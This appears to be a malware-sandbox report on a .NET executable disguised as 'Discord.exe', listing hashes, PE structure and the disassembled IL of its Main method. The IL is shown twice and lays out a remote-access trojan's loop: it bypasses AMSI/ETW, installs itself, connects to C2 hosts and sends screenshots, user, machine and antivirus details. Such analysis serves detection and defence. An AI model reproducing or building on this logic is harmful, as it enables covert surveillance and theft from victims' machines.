Suspicious
Suspect

37ac69c903d0c1c196b3159a55417dcb

PE Executable
MD5: 37ac69c903d0c1c196b3159a55417dcb
Size: 123.9 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 37ac69c903d0c1c196b3159a55417dcb
Sha1 17e2bab3497fe60327d2f145e93f5e6cf22abae6
Sha256 a4895d35b29bd056cfedbf16a7fc28f4d1ce00795e395a68155c02eb89d616bc
Sha384 25c809f63d69f848bbf5fae19e2d56647f431475fae683faae05d74403d081fcfafd010ceccd736546b0dbba13fc666c
Sha512 0229c758609ee56eed22c314305109e1718f9dfae9bc3b54f8dac6288be5c22309c8874734320d2d06836a9f945e9d6e105907c7b2a0db9ae739c5d49dbfa221
SSDeep 768:1FEZNK0jcMz9JhLiFbcpW4BaT4w02GG1Mnhf6HObdMPwZjLNxfenlAqSbcY8jZ:7EZNK0lz9JhLiFbshSObioZvSl7h
TLSH 70C3D5497784C950D1AE0A7A8E52F3C49335BD236D02E30A3D8AB39D3E3B3D58A15DD6
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
37ac69c903d0c1c196b3159a55417dcb
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
50232ofm02vqtanxxlk
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Discord.exe
Full Name
Discord.exe
EntryPoint
System.Void Client.Program::Main(System.String[])
Scope Name
Discord.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Discord.exe
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
316
Main Method
System.Void Client.Program::Main(System.String[])
Main IL Instruction Count
248
Main IL 
nop <null>
nop <null>
call System.Void Client.Config::Init()
nop <null>
call System.Void Client.Helper.AsmiAndETW::Bypass()
nop <null>
ldsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
dup <null>
brtrue.s IL_002D: ldnull
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String Client.Config::Install
ldstr !Kq%
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
brfalse.s IL_0070: ldsfld System.String Client.Config::Mutex
nop <null>
call System.Void Client.Helper.Install::Run()
nop <null>
nop <null>
ldsfld System.String Client.Config::Mutex
call System.Boolean Client.Helper.MutexControl::CreateMutex(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_0087: call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
leave IL_029D: ret
call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
call System.Void Client.Helper.Methods::PreventSleep()
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
brtrue.s IL_00AF: ldc.i4.0
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
br.s IL_00B0: stloc.2
ldc.i4.0 <null>
stloc.2 <null>
ldloc.2 <null>
brfalse IL_0278: ldc.i4 200
nop <null>
ldsfld System.String Client.Config::Hosts
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 59
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.3 <null>
ldloc.3 <null>
ldlen <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_00EA: ldloc.3
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.3 <null>
ldsfld System.Random Client.Helper.Methods::random
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_5
ldloc.s V_5
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_9
ldloc.s V_9
brfalse.s IL_0135: ldloc.s V_5
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.s V_5
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_6
ldloc.s V_5
ldc.i4.1 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_7
ldsfld Client.Helper.Client Client.Program::client
callvirt System.Void Client.Helper.Client::Disconnect()
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldloc.s V_6
ldloc.s V_7
callvirt System.Void Client.Helper.Client::Connect(System.String,System.String)
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
stloc.s V_10
ldloc.s V_10
brfalse IL_0277: nop
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.2 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr 7q!}
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr SOXn:/ev/lJH
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.PingChecker::.ctor(Client.Helper.Client)
stfld Client.Helper.PingChecker Client.Helper.Client::pingChecker
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.LastPing::.ctor(Client.Helper.Client)
stfld Client.Helper.LastPing Client.Helper.Client::lastPing
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.s 14
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr H6##%p!
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
call System.Byte[] Client.Helper.Methods::CaptureResizeReduceQuality()
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldsfld System.String Client.Config::Group
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldsfld System.String Client.Config::Hwid
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
call System.String System.Environment::get_UserName()
ldstr |]|
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldsfld System.String Client.Config::Camera
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldsfld System.String Client.Config::Cpu
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldsfld System.String Client.Config::Gpu
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldsfld System.String Client.Config::WindowsVersion
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldsfld System.String Client.Config::AntiVirus
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldsfld System.String Client.Config::Version
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldsfld System.String Client.Config::DataInstall
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldsfld System.String Client.Config::Privilege
stelem.ref <null>
dup <null>
ldc.i4.s 13
call System.String Client.Helper.Methods::GetActiveWindowTitle()
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
nop <null>
nop <null>
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
stloc.s V_11
ldloc.s V_11
brtrue IL_0098: nop
nop <null>
leave.s IL_029D: ret
pop <null>
nop <null>
nop <null>
leave.s IL_029D: ret
ret <null>
Module Name
Discord.exe
Full Name
Discord.exe
EntryPoint
System.Void Client.Program::Main(System.String[])
Scope Name
Discord.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Discord.exe
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
316
Main Method
System.Void Client.Program::Main(System.String[])
Main IL Instruction Count
248
Main IL 
nop <null>
nop <null>
call System.Void Client.Config::Init()
nop <null>
call System.Void Client.Helper.AsmiAndETW::Bypass()
nop <null>
ldsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
dup <null>
brtrue.s IL_002D: ldnull
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String Client.Config::Install
ldstr !Kq%
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
brfalse.s IL_0070: ldsfld System.String Client.Config::Mutex
nop <null>
call System.Void Client.Helper.Install::Run()
nop <null>
nop <null>
ldsfld System.String Client.Config::Mutex
call System.Boolean Client.Helper.MutexControl::CreateMutex(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_0087: call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
leave IL_029D: ret
call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
call System.Void Client.Helper.Methods::PreventSleep()
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
brtrue.s IL_00AF: ldc.i4.0
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
br.s IL_00B0: stloc.2
ldc.i4.0 <null>
stloc.2 <null>
ldloc.2 <null>
brfalse IL_0278: ldc.i4 200
nop <null>
ldsfld System.String Client.Config::Hosts
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 59
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.3 <null>
ldloc.3 <null>
ldlen <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_00EA: ldloc.3
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.3 <null>
ldsfld System.Random Client.Helper.Methods::random
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_5
ldloc.s V_5
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_9
ldloc.s V_9
brfalse.s IL_0135: ldloc.s V_5
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.s V_5
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_6
ldloc.s V_5
ldc.i4.1 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_7
ldsfld Client.Helper.Client Client.Program::client
callvirt System.Void Client.Helper.Client::Disconnect()
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldloc.s V_6
ldloc.s V_7
callvirt System.Void Client.Helper.Client::Connect(System.String,System.String)
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
stloc.s V_10
ldloc.s V_10
brfalse IL_0277: nop
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.2 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr 7q!}
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr SOXn:/ev/lJH
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.PingChecker::.ctor(Client.Helper.Client)
stfld Client.Helper.PingChecker Client.Helper.Client::pingChecker
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.LastPing::.ctor(Client.Helper.Client)
stfld Client.Helper.LastPing Client.Helper.Client::lastPing
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.s 14
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr H6##%p!
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
call System.Byte[] Client.Helper.Methods::CaptureResizeReduceQuality()
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldsfld System.String Client.Config::Group
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldsfld System.String Client.Config::Hwid
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
call System.String System.Environment::get_UserName()
ldstr |]|
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldsfld System.String Client.Config::Camera
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldsfld System.String Client.Config::Cpu
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldsfld System.String Client.Config::Gpu
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldsfld System.String Client.Config::WindowsVersion
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldsfld System.String Client.Config::AntiVirus
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldsfld System.String Client.Config::Version
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldsfld System.String Client.Config::DataInstall
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldsfld System.String Client.Config::Privilege
stelem.ref <null>
dup <null>
ldc.i4.s 13
call System.String Client.Helper.Methods::GetActiveWindowTitle()
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
nop <null>
nop <null>
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
stloc.s V_11
ldloc.s V_11
brtrue IL_0098: nop
nop <null>
leave.s IL_029D: ret
pop <null>
nop <null>
nop <null>
leave.s IL_029D: ret
ret <null>
37ac69c903d0c1c196b3159a55417dcb
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
50232ofm02vqtanxxlk
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙